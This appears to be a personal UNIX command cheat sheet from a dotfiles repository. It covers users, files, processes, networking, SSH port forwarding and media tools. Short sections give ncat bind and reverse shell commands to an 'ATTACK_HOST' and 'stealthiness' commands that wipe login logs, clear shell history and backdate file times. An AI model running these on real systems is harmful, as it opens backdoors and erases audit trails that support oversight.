forked from awdeorio/dotfiles
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy path.always_forget.txt
2945 lines (2648 loc) · 148 KB
/
.always_forget.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
-*- eval: (visual-line-mode 0) -*- #
# .always_forget.txt
#
# awdeorio's UNIX cheat sheet
#
# Andrew DeOrio <awdeorio@umich.edu>
# Users and Groups
adduser USER # add USER (Debian)
adduser --disabled-password --gecos "" # ^^^ scriptable
adduser USER GROUP # add USER to GROUP (Debian)
adduser --system --no-create-home --uid 8000 blueflow # add daemon user
groupadd --system --gid 8000 nogroup # add daemon group
useradd USER # add USER, native binary
useradd -m -G users,wheel -s /bin/bash USER # add new USER manually
useradd --system # no homedir, no passwd, can't log in
deluser USER # remove a user
delgroup GROUP # remove a group
usermod -u UID USER # change UID
usermod -g GID USER # change default group
groupmod -g GID group # change GID of group
gpasswd -a USER GROUP # add USER to GROUP
usermod -aG GROUP USER # add USER to GROUP
smbpasswd -a USER # new Samba user
chsh -s /usr/local/bin/bash USER # change default shell
id # print user and group ID #'s
id -un # print effective user name
id -gn # print effective group name
getent passwd USER # check if user exists
getent group GROUP # check if group exists
ulimit -a # per-user system limits
groups # list group membership
users # list users logged in
w # list users logged in
who # list users logged in
finger USER # directory info about USER
whoami # current user
logname # current logged in user (e.g., w/ sudo)
passwd # change your password
passwd USER # change USER's password
echo "USER:NEW_PASSWORD" | chpasswd # change USER's password, batch
chage -E 2000-01-01 USER # disable login with past expiration
usermod --expiredate 1 USER # same thing
chage -E -1 USER # password never expires
passwd --lock # lock an account (SSH key access OK)
USER=$(stat -c '%U' PATH) # check user in a script
GROUP=$(stat -c '%G' PATH) # check group in a scrip
# Help
man CMD # User manual for CMD
man -w # Show search path for man pages
echo $MANPATH # Additional man search dirs
apropos # Search commands and descriptions
whatis CMD # Short description of a command
tldr CMD # Short examples of a command
# Machines
hostname # name of this computer
uname # operating system name
uname -a # info about OS, compiler, etc.
$OSTYPE # operating system name (bash)
[[ "$OSTYPE" == "darwin"* ]] # Check for macOS
cat /proc/cpuinfo # CPU size/features
cat /proc/meminfo # memory size/features
uptime # time since power on
lspci # list PCI devices
lspci -vv # ^^^ with lots of info
# Files and folders
ls # list directory contents
ls -l # include time, size, etc.
ls -a # include hidden files
ls -A # include hidden files, but not . or ..
ls -t # sort by time
ls -ltr # newest files last
ls -ltr --time-style=long-iso # ^^^ time in YYYY-MM-DD HH:SS format
ls --color # colorize output
ls --color=auto # colorize output only in tty
ls --human-readable # human-readable file sizes
ls --ignore-backups # ignore *~ files
ls --ignore $'Icon\r'" # ignore OSX Icon files
ls --quoting-style=literal # don't quote for 'File with spaces'
ls -R # list recursively
tree # list recursively in pretty format
tree -I 'env|__pycache__|*.egg-info' # ignore Python bins
tree -I 'node_modules' # ignore JavaScript bins
tree -a -I .git # include hidden, exclude .git
tree -a -I '.git|env|__pycache__|*.egg-info|node_modules' # Web projects
tree --gitignore # ignore files in .gitignore
tree --gitignore -a -I .git # ignore files in .gitignore, w/ hidden
tree -l # follow symlinks to directories
mkdir DIR # make a directory
mkdir -p DIR # ^^^ make intermediate dirs as needed
rmdir DIR # remove a directory
rm FILE # remove a file
rm -r DIR # remove directory and files
rm -rf DIR # ^^^ and don't ask any questions
shred -u FILE # overwrite file with junk before remove
dircolors # set LS_COLORS using defaults
dircolors -b # ^^^ for Bourne shell
dircolors -b ${HOME}/.DIR_COLORS # ^^^ with custom colors
stat FILE # file modification times, etc.
touch FILE # create empty file, if it doesn't exist
touch FILE # update mtime, atime to NOW
ln -s FILE1 FILE2 # create soft link
ln -s -t DIR FILE # create soft link in DIR
# Paths and files
pwd # current directory
pwd -P # current directory, absolute path
readlink -f PATH # absolute path (GNU only)
cd # change to home directory
cd .. # change to directory up
cd DIR # change to directory
cd - # return to previous directory (bash)
cd $(dirname "$BASH_SOURCE") && pwd -P # absolute path of sourced bash script
cd $(dirname "$0") && pwd -P # absolute path of executed bash script
realpath DIR # absolute path of DIR
pushd DIR # push DIR onto stack (bash)
popd # pop dir off stack and cd there (bash)
dirs -v # print stack (bash)
cd ~2 # cd to 2nd dir on stack (bash)
cp FILE ~2 # use ~2 as an alias for a DIR (bash)
cp -L # Copy files pointed to by symlinks
# Paths and executables
which CMD # print path to CMD
which -a CMD # print all paths to CMD (GNU)
whereis CMD # print all paths to CMD
export PATH=$PATH:NEW_DIR # add new directory to PATH (bash)
type -a CMD # include shell functions/aliases (bash)
# Finding files
find . -name hello.txt # find hello.txt, starting at PWD
find / -name hello.txt # find hello.txt, starting at /
find '*.txt' # txt files
find '*hello*' # anything with "hello" in the filename
find -type f # plain files
find -type d # directories
find -name '*~' -exec rm -v {} \; # remove tilde files
find -name '*~' | xargs rm -v # remove tilde files
find -name GLOB -depth -delete # remove files
find -exec grep -H PATTERN {} \; # find + grep, grep will print filenames
find | xargs grep -H PATTERN # find + grep, grep will print filenames
find -print0 | xargs -0 CMD # handle spaces in filenames
find | xargs -n1 CMD # process files one at a time
find -mtime 3 -type f # files modified exactly 3 days ago
find -mtime -3 -type f # files modified less than 3 days ago
find -mtime +3 -type f # files modified more than 3 days ago
find . -not -path '*/\.git*' # ignore .git dir
find . -type f -not -wholename '*\.git*' -exec file {} \; | grep CRLF # Windows line endings
locate hello.txt # search system database for hello.txt
grep -r PATTERN . # recursively search file content
grep -rI PATTERN . # ^^^ ignoring binary files
git grep PATTERN # recursively search git-controled files
ag PATTERN # The Silver Searcher, see section below
ag PATTERN --color | less -r
ag -l # Filenames only
ag --ignore '*test*' # Ignore files/directories with "test"
ag -f # Follow symlinks
ag -Q # Do not parse PATTERN as regex
# Superuser permissions
su # switch user to root
su USER # switch user to USER
sudo -s # switch user to root
sudo CMD # run CMD as root
sudo CMD # run CMD as root
sudo -u USER CMD # run CMD as USER
sudoedit FILE # edit file as root
visudo # edit /etc/sudoeors config file
sudo -k # empty cache that stores your password
sudo -E # preserve environment variables
sudo "PATH=$PATH" -E # ^^^ including PATH
sudo -v # cache sudo credentials, for scripts
newgrp GROUP # change default group temporarily
# Processes and Threads
ps # display my processes
ps -u USER # ^^^ USER's processes
ps -ax # all processes on the machine
ps -axM # all processes and threads (BSD)
ps axm # all processes and threads (GNU)
ps -M # threads (BSD)
ps -m # threads (GNU)
ps -ww # don't chop long lines
ps -c # basename of executable instead of full
ps -axvcm # sort by memory usage
ps -axvcr # sort by CPU usage
pstree # visualization of processes
top # dynamic view of processes
top -H # dynamic view of threads
top -b -n7 -d0.5 | grep ^Cpu | sed 1d | grep -oE '[0-9]+\.?[0-9]*% *id' | grep -oE '[0-9]+\.?[0-9]*' | awk '{sum+=$0} END {print sum/NR}' # CPU usage (%)
htop # fancy performance monitor
"M" # htop sort by memory usage
"P" # htop sort by processor usage
"T" # htop sort by time
"p" # htop toggle process fullname/basename
"t" # htop toggle tree view
nmon # fancy performance monitor
pgrep STRING # search for processes, return PID
pgrep -af STRING # ^^^ full process name & args (GNU)
pgrep -lf STRING # ^^^ full process name & args (BSD)
pgrep -u USER # only match USER's processes
pkill # ^^^ and kill process
pkill -f # ^^^ full process name & args
kill PID # kill process with PID
kill -PID # kill process group with PID
kill -9 PID # kill process using signal 9
kill -0 PID # Check if process is running
kill -0 PID &>/dev/null && echo running # Check if process is running
killall NAME # kill all processes with NAME
killall -9 NAME # kill all using signal 9
CMD & # start CMD in the background
jobs # list active or suspended jobs
fg # bring background command to foreground
[control-z] # suspend current CMD
bg # send suspended CMD to background
disown # alternative to "bg", but like nohup
nohup CMD & # logout won't stop CMD
nohup nice CMD & # lower priority
nohup CMD < /dev/null > LOG 2>&1 # redirect all streams
nohup CMD 0<&- &> /dev/null & # redirect all streams
lsof # list open files owned by processes
cat /proc/<PID>/environ | tr '\000' '\n'# inspect environment of running proc
# Commonly used signals
1 HUP SIGHUP hang up; automatic on logout; reload configuration for daemons
2 INT SIGINT interrupt, Control-C
3 QUIT SIGQUIT quit
6 ABRT SIGABRT abort
9 KILL SIGKILL non-catchable, non-ignorable kill; "rude shutdown"
14 ALRM SIGALRM alarm clock
15 TERM SIGTERM software termination signal; "polite shutdown request"
EXIT program exit, any exit code (pseudo-signal, bash only)
ERR program exit, non-zero (pseudo-signal, bash only)
# Environment
printenv # List environment variables
env # List environment variables
set # List env vars, local vars, functions
echo $VARIABLE # Print one environment variable
printenv VARIABLE # Print one environment variable
env -i CMD # Run CMD with empty environment
env --unset VARIABLE # unset VARIABLE
unset VARIABLE # unset VARIABLE (Bash built-in)
$PATH # Command search path
$PS1 # Shell prompt
$LD_LIBRARY_PATH # Run time library resolution
$MANPATH # man search dirs
# Manual network configuration (DHCP)
killall dhcpcd
ifconfig eth1 down
ifconfig eth1 hw ether '00:16:cb:05:3b:10' # spoof MAC addr
iwconfig eth1 key PASSWORD
iwconfig eth1 essid SSID
ifconfig eth1 up
dhcpcd -t 10 -N eth1
# Manual network configuration (static IP)
# NOTE: many of these commands are replaced by the "ip" program's subcommands
nmap -sn '141.212.106.*' # see what IP addresses are in use
dig -x 141.212.106.7 # verify that my IP is not in DHCP space
ifconfig eth0 down
ifconfig eth0 141.212.106.7 broadcast 141.212.106.255 netmask 0xffffff80 up
route flush # remove all routes
route add default gw 141.212.106.1
edit /etc/resolv.conf
> search eecs.umich.edu
> nameserver 141.213.4.4
> nameserver 141.213.4.5
> nameserver 141.213.13.31
# Network Utilities
# Cheat sheet https://pbs.twimg.com/media/DzP-KfpV4AA4TH2.jpg
ping HOST # Check if a host is up
ping -c3 HOST # Only send 3 packets
ping -Iwlan0 HOST # Ping with a specific NIC
host HOST # DNS lookup
dig HOST # DNS lookup
dig +short HOST # DNS lookup, scriptable
dig +trace HOST # DNS lookup with full tree
dig +trace +all HOST # DNS lookup with full tree, max detail
nslookup # DNS lookup
nslookup -type=ns HOST # DNS with authoritative name servers
dig -x IP # reverse DNS lookup
dig +short -x IP # reverse DNS lookup, scriptable
cat /etc/resolv.conf # what are my DNS servers?
whois HOST # domain name registration info
nmap HOST # what ports are open?
nmap -A -T4 HOST # what ports are open?
nmap -sn -PR 192.168.0.0/24 # which hosts are up my subnet?
netstat -at # list TCP connections
netstat -au # list UDP connections
netstat -ant # disable DNS lookup (faster)
netstat -tl # listening TCP connections
netstat -atn | grep ':22' # ssh connections on this machine?
netstat -l numeric-ports | grep 80 # what's using port 80?
sudo fuser -v -n tcp 80 # who's using port 80?
lsof -n -i # who's using which ports?
nc HOST PORT # intiate connection "cat over a socket"
nc -c # close connection after send (GNU)
nc -q # close connection after send (BSD)
nc # close connection after send (BSD)
nc -l -p PORT # listen for incoming connection (GNU)
nc -l localhost PORT # listen for incoming connection (BSD)
nc -v -z HOST PORT # check connection to HOST on PORT
ncat -w 2 -v HOST PORT # check connection to HOST on PORT
traceroute # route packets take to network host
curl https://freegeoip.app/json/ # IP geolocation
curl 'https://api.ipgeolocation.io/ipgeo?apiKey=API_KEY' # ^^^ API_KEY from dashboard https://app.ipgeolocation.io/
open https://github.com/stefansundin/traceroute-mapper # ^^^ visualization
[sudo] mtr HOST # dynamically updated traceroute info
mtr --no-dns --report --report-cycles 60# one report generated over 60s
telnet HOST 80 # connect to web server
openssl s_client -quiet -connect www.google.com:443 # ^^^ with SSL
tcpdump # watch packets on all network ifcs
tcpdump -i eth0 # watch packets on one network interface
tcpdump tcp # only one protocol
tcpdump port 80 # only one port
tcpdump host 1.2.3.4 # only one host
tcpdump dst 1.2.3.4 # only one dest
tcpdump src 1.2.3.4 # only one source
tcpdump -S "tcp[tcpflags] & (tcp-syn|tcp-ack|tcp-fin) != 0" # 3-way handshake
tcpdump -S "port 80 and (tcp[tcpflags] & (tcp-syn|tcp-ack|tcp-fin) != 0)" # 3-way handshake on port 80
tcpdump -S "host web.eecs.umich.edu and port 80 and (tcp[tcpflags] & (tcp-syn|tcp-ack|tcp-fin) != 0)" # 3-way handshake on port 80
tcpdump -S -s0 -A port 80 # Sniff HTTP packets in ASCII format
tcpdump -w FILE.pcap # Save raw packet data to FILE
tcpdump -r FILE.pcap # Read and parse packet data from FILE
tshark # CLI packet analysis
tshark -r FILE.pcap # ^^^ from file
tshark -Tfields -e text # ^^^ any sent text
tshark -Tfields -e http.file_data # ^^^ HTTP payload
tshark -Tfields -e _ws.col.Protocol -e _ws.col.Info # Manually specify defaults
tshark -Tfields -e _ws.col.Protocol -e _ws.col.Info -e http.file_data # HTTP, defaults
tshark -O http -Y "http.request || http.response" # HTTP with headers
iftop # display bandwidth usage
ngrep # grep for network
sudo ngrep -d any google # see traffic to/from Google
mitmproxy # spy on SSL connections
p0f # OS fingerprinting
ntop # See what's using network bandwidth
iftop # See what's using network bandwidth
siege # Load testing tool
# Example: observing an HTTP request
echo '<html><body>Hello world!</body></html>' > index.html # Simple HTML
python3 -m http.server # Start server
sudo tcpdump -i lo0 port 8000 -w get.pcap # Start tcpdump
curl -v 127.0.0.1:8000/index.html # Request
tshark -r get.pcap -Tfields -e _ws.col.Protocol -e _ws.col.Info -e http.file_data # Read pcap
# Web Utilities
python -m SimpleHTTPServer 8000 # start a file server at ./ on port 8000
python3 -m http.server 8000 # start a file server at ./ on port 8000
wget https://www.google.com/ # download one page
wget -m andrewdeorio.com # download everything
wget URL -O FILE # output to FILE
wget --random-wait # avoid a blacklist with random timing
wget -r # recursive (default max depth 5)
wget -p # include all files, including images
wget -e robots=off # disregard robots.tx
wget -U mozilla/5.0 # User-agent (browser identity)
wget --limit-rate=20k # reduce download rate
wget -b # background
wget -o FILE # log output
wget --random-wait -r -p -e robots=off -U mozilla/5.0 URL # crawler
wget --random-wait -r -p -e robots=off -U mozilla/5.0 URL -b -o log # crawler
wget --spider # check if file exists
wget --timestamping # check if file has changed
youtube-dl URL # download a youtube video
curl # download a single web page
curl -v # include headers
curl -L # follow redirects
curl -k # insecure mode, ignore SSL certs
curl -I # headers only
curl --verbose # watch protocol in action
curl --trace-ascii log.txt # watch protocol in action, more detail
curl --trace-ascii log.txt --trace-time # include timing
curl --data "query=aa" http://localhost:5000/query # send POST request
curl -H "Content-type: application/json" \ # POST JSON
-X POST http://127.0.0.1:5000/ \
-d '{"message":"Hello Data"}'
curl --user-agent "Mozilla/5.0" # Fake the user agent
curl ifconfig.me # what is my IP address?
curl ipinfo.io/ip # what is my IP address?
curl https://freegeoip.app/json/IP # geolocation data for IP address
ipcalc # see what an IP or CIDR means
httping HOST:PORT # check if an HTTP server is up
curl --output /dev/null --silent --insecure --head --fail URL # check HTTP up
dig +short myip.opendns.com @resolver1.opendns.com # what is my IP address?
vnu --root DIR # HTML5/W3C validator
html5validator --root DIR # HTML5/W3C validator
linkchecker index.html # Verify internal links
linkchecker index.html --check-extern # Verify internal and external links
webkit2png https://google.com # Screenshot web page
webkit2png google.htm # Screenshot saved web page
ls *.html | xargs -n1 webkit2png # Screenshot many saved web pages
speedtest # Test upload and download speeds
# Echo server
http POST httpbin.org/anything x=y # Public echo server test
echo -e "HTTP/1.1 200 OK\n\n{}\n" | nc -l -p 8000 # Local CLI echo server
npm install --global http-echo-server # http-echo-server install
http-echo-server # http-echo-server run
http POST localhost:56406 key=value # http-echo-server test
# Curl: test website loading speed / latency
curl \
https://www.google.com \
--silent \
-o /dev/null \
--write-out \
'%{url_effective}
Lookup:\t\t%{time_namelookup}
Connect:\t%{time_connect}
App Connect:\t%{time_appconnect}
Redirect:\t%{time_redirect}
Pre-transfer:\t%{time_pretransfer}
Start-transfer:\t%{time_starttransfer}
------------------------
Total Time:\t%{time_total}
'
# Curl: log in with cookies
curl \
--request POST \
--cookie-jar cookies.txt \
--form 'username=awdeorio' \
--form 'password=password' \
--form 'submit=login' \
${BASE_URL}/accounts/login/
curl \
--cookie cookies.txt \
${BASE_URL}/api/
# Wget: log in with cookies
wget \
--post-data 'username=awdeorio&password=password&submit=login' \
--save-cookies cookies.txt \
--keep-session-cookies \
${BASE_URL}/accounts/login/
wget \
--load-cookies cookies.txt \
${BASE_URL}/api/
# HTTPie
http HOST # GET request to HOST
http POST URL K1=V1 K2=V2 ... # POST JSON with key/value pair(s)
http POST URL K1:='{"K2":"V2"}' # POST escaped nested JSON value
http POST URL K1=V1 K2=V2 --form ... # POST HTTP form
http -a USERNAME:PASSWORD # Authenticate with basic HTTP auth
http --verify=no # Do not check SSL certificate
# HTTPie and session cookies
# 1. Log in using an HTML form, saving cookies to file session.json
# 2. Reuse HTTPie file session.json
http --session=./session.json --form POST URL username=X password=Y
http --session=./session.json URL
# Jekyll static web sites
jekyll doctor # Verify config files
jekyll build # Build site to _site/
jekyll serve # Start live dev server
bundle exec jekyll # Locally installed Jekyll
# Primer Spec Preview
gem install bundler
bundle install
bundle update --all # Update lock file
bundle exec jekyll serve
# Backdoor shell using netcat
# Note: this version of netcat (ncat) ships with nmap
TARGET_HOST $ ncat -lvp 8080 -e /bin/bash --ssl
ATTACK_HOST $ ncat TARGET_HOST 8080 --ssl
# Backdoor reverse shell using netcat
# This works when the firewall prevents incoming connections
# Note: this version of netcat (ncat) ships with nmap
ATTACK_HOST $ ncat -l -p 8080 -vv --ssl
TARGET_HOST $ ncat -e /bin/bash ATTACK_HOST 8080 --ssl
# Stealthiness
last # successful login history
lastb # bad login attempts
lastlog # most recent login
echo > /var/log/wtmp # clear successful login history
echo > /var/log/btmp # clear bad login history
echo > /var/log/lastlog # clear recent login history
unset HISTFILE # don't write history for this session
history -c # clear shell history
edit ~/.history ~/.bash_history # edit history
touch -d "2 hours ago" FILE # change atime, mtime w/ relative time
touch -d "2016-01-01" # ^^^ date
touch -d "2016-01-01 12:34:56" # ^^^ date and time
touch -d "2015-01-01 12:34:56 +0400" # ^^^ date, time, w/ time zone
touch -r REF_FILE FILE # match attributes of FILE to REF_FILE
edit /var/log/{messages,syslog} # remove info about changed time
# Tor from the command line
#
# configuration (optional)
$EDITOR /usr/local/etc/tor/torrc
#
# Start Tor proxy
$ tor
...
Dec 13 09:23:17.000 [notice] Bootstrapped 100%: Done
#
# Tor opens a SOCKS proxy on localhost:9050 by default. Check open port.
$ nc -v -z localhost 9050
localhost [127.0.0.1] 9050 open
#
# What is my IP? (with Tor)
$ curl --socks5 localhost:9050 ipinfo.io/ip
62.210.81.152
#
# What is my IP? (with Tor) This one won't work on OSX
$ torsocks curl ipinfo.io/ip
62.210.81.152
#
# What is my IP? (without Tor)
$ curl ipinfo.io/ip
141.212.107.235
# Firewall / iptables
iptables -L # List current rules
iptables -A INPUT -p tcp --dport ssh -j ACCEPT # Accept SSH traffic
iptables -A INPUT -p tcp --dport 80 -j ACCEPT # Accept web traffic
sudo iptables -A INPUT -j DROP # Block all other traffice
iptables -F # Flush all rules
iptables -P INPUT ACCEPT # 1. Temporarily disable firewall
iptables -P OUTPUT ACCEPT # 2. Temporarily disable firewall
iptables -P FORWARD ACCEPT # 3. Temporarily disable firewall
iptables -F # 4. Temporarily disable firewall
# Shell communication
wall # send message to all terminals
write USER # send message to USER
# Email
sendmail user@example.com < email.txt # send email from CLI
sendmail -t < email.txt # read "TO" field from file
mailmerge # mailmerge from CLI
# Email / Test SMTP server
# https://github.com/jetmore/swaks/blob/master/doc/base.pod
swaks --to user@example.com --server test-server.example.net
# Audio
alsamixer # change volume
amixer -c 0 sset Master '6%+' # change volume
amixer -c 0 sset Headphone toggle # toggle speakers/headphones
mplayer "$(ls | shuf -n1)" # select and play a random file
# Video
# Read video device live
mplayer tv:// -tv driver=v4l2:width=352:height=288:device=/dev/video0 -fps 20
mplayer tv://
vlc v4l2:///dev/video0
# Record video only
mencoder tv:// -tv driver=v4l2:width=352:height=288:device=/dev/video0 -fps 20 -nosound -ovc lavc -o file.avi
# Record video+sound
mencoder tv:// -tv driver=v4l2:width=352:height=288:device=/dev/video0:forceaudio:adevice=/dev/dsp -fps 20 -ovc lavc -oac mp3lame -lameopts cbr:br=64:mode=3 -o file.avi
# convert VOB file (from a DVD) to mp4 http://stackoverflow.com/questions/13560852/convert-mp4-to-maximum-mobile-supported-mp4-using-ffmpeg
ffmpeg -i concat:"/media/dvd/VIDEO_TS/VTS_01_1.VOB|/media/dvd/VIDEO_TS/VTS_01_2.VOB" -acodec libfaac -aq 100 -ac 2 -vcodec libx264 -vpre slow -crf 24 -threads 0 output.mp4
# compress mp4 video to 480p at 500kbit/s mp4
ffmpeg -i input.mp4 -vcodec libx264 -vprofile high -preset slow -b:v 500k -maxrate 500k -bufsize 1000k -vf scale=-1:480 -threads 0 -b:a 128k output_file_480p.mp4
# compress mp4 video to 360p at 250kbit/s mp4
ffmpeg -i input.mp4 -vcodec libx264 -vprofile baseline -preset slow -b:v 250k -maxrate 250k -bufsize 500k -vf scale=-1:360 -threads 0 -ab 96k output_360p.mp4
# Stream live video
cvlc v4l2:///dev/video0 :v4l2-standard= :input-slave=alsa://hw:0,0 :live-caching=300 :sout="#transcode{vcodec=WMV2,vb=800,scale=1,acodec=wma2,ab=128,channels=2,samplerate=44100}:http{dst=:8080/stream.wmv}"
# Stream live video without audio
cvlc v4l2:///dev/video0 :v4l2-standard= :live-caching=300 :sout="#transcode{vcodec=WMV2,vb=800,scale=1,select=noaudio}:http{dst=:8080/stream.wmv}"
# Stream live video without audio, and lower frames-per-second (10)
cvlc v4l2:///dev/video0 :v4l2-standard= :live-caching=300 :sout="#transcode{vcodec=WMV2,vb=800,scale=1,fps=10,select=noaudio}:http{dst=:8080/stream.wmv}"
# View live video stream
vlc http://HOST:8080/stream.wmv
mplayer http://HOST:8080/stream.wmv
# Create GIF from video
# ffmpeg -r N means reduce to N fps
# gifsicle --delay=N means delay N*10 ms between frames
ffmpeg -i "$INFILE" -pix_fmt rgb8 -r 10 -f gif - | \
gifsicle --delay=10 --optimize=3 > "$OUTFILE"
# Images
mogrify -rotate 90 # rotate
mogrify -resize 640x640 # reduce resolution
imageoptim FILE.jpg # reduce file size
imageoptim '*.jpg' # reduce file size
exiftool # read all exif data
exiftool '-AllDates+=3:02:00 00:00:00' # date/time += 3 yr 2 mos
exiftool -gpslatitude -gpslongitude # GPS coordinates
convert FILE.png FILE.jpg # convert image file type
convert IN.jpg -monochrome OUT.jpg # convert image to black and white
identify FILE.jpg # dump size and other data
identify -format "%w×%h" # dump length, height https://imagemagick.org/script/escape.php
identify -verbose FILE.jpg # dump all EXIF data
# SSH
ssh HOST # connect to HOST
ssh USER@HOST # connect to HOST as USER
ssh -t HOST1 HOST2 # connect to HOST2 through HOST1
ssh -A # forward SSH keys
ssh -vT # debug authentication issues
ssh -T # don't set up a terminal
ssh -v # verbose
ssh -vvv # super verbose
ssh -f # go to background
ssh -N # don't execute a remote command
ssh -n # redirect stdin from /dev/null
ssh -vnNTL 8000:localhost:8000 HOST # local port forwarding, 1 hop
ssh -vnNTL 8000:HOST2:8000 HOST1 # local port forwarding, 2 hop
ssh -vnNTR 8000:localhost:8000 HOST # remote port forwarding
ssh -D8000 HOST # dynamic application-level port forward
ssh HOST CMD # execute CMD on HOST
ssh HOST -- CMD # execute CMD on HOST, with CMD options
yes | pv | ssh HOST "cat > /dev/null" # network throughput test
# SSH Port Forwarding Explained
# https://vimeo.com/54505525#t=1029s
#
# Local port forwarding allows connections to be made from the local network,
# through the SSH server, and to a remote host
# - SSH client -> SSH server -> remote host
# - e.g. connect to a staging environment SQL database
# - e.g. connect to a VNC server
# - e.g. bypass firewall for any server (as long as you have SSH)
# Local port forward localhost:8080 -> REMOTEHOST:80
ssh -vnNTL 8080:localhost:80 REMOTEHOST
curl https://localhost:8080
+---------------+ +--------------+
| localhost |---SSH---\| REMOTEHOST |
| :8080 ===================> :80 |
| |---------/| |
+---------------+ +--------------+
# EXAMPLE: connect to Jupyter Notebook behind a firewall (local port forwarding)
remotehost> jupyter-notebook
localhost > ssh -vnNTL 8888:localhost:8888 $REMOTEHOST
localhost > # browse to http://localhost:8888
# Local port forward localhost:8080 -> REMOTEHOST:80, through PUBLICHOST
# ssh -L ${localhost:LPORT}:${REMOTEHOST:RPORT} PUBLICHOST
ssh -vnNTL 8080:REMOTEHOST:80 PUBLICHOST
curl https://localhost:8080
+-------------------------------------- +
+---------------+ +--------------+ +---------------+ |
| localhost |---SSH---\| PUBLICHOST | | REMOTEHOST | |
| :8080 ==============================|=============> :80 | |
| |---------/| | | | |
+---------------+ +--------------+ +---------------+ |
| private network |
+---------------------------------------+
# EXAMPLE: connect to database and bypass firewall (local port forwarding)
ssh -vnNTL 1521:crow.dsc.umich.edu:1521 login.itd.umich.edu
nc -v -z localhost 1521 2>&1
sqlplus -S $USER/$PASSWORD@localhost:1521/pa07.world
# Remote port forwarding allows connections to be made from a remote network,
# through the SSH server, and to the local network
# - remote host -> SSH server -> SSH client
# - e.g. Share your locally deployed app with someone on the internet
# - e.g. Remotely pair with people over SSH + Tmux
# - e.g. SCP a file from your laptop to a server -- FROM the server (no need
# to create a new tab and PUSH the file, just PULL it)
# Remote port forward REMOTEHOST:8080 -> localhost:8000
ssh -vnNTR 8000:localhost:8080 $REMOTEHOST
+---------------+ +--------------+
| me |---SSH---\| REMOTEHOST |
| :8000 <===================:8080 |
| |---------/| |
+---------------+ +--------------+
# EXAMPLE: push a file to your laptop *from* a server (remote port forwarding)
# This can be helpful if you need to find the file before scp'ing it
laptop> ssh -A -R 2222:localhost:22 SERVER # login to server
server> scp -P2222 FILE localhost: # copy FILE from server to laptop
#
# EXAMPLE: start remote VNC session
server> vncserver -localhost -NeverShared
laptop> ssh -vnNTL 5901:localhost:5901 $SERVER
laptop> vncviewer localhost:1 # start VNC client
server> $EDITOR ~/.vnc/.vnc/xstartup # change xsession to gnome, etc.
server> vncserver -kill :1 # stop VNC server
# Remote port forward PUBLICHOST:8080 -> localhost:8000
ssh -vnNTR 8000:localhost:8080 $PUBLICHOST
+---------------+ +--------------+ +---------------+
| me |---SSH---\| PUBLICHOST |/ | you |
| :8000 <=============================<==:8080==== |
| |---------/| |\ | |
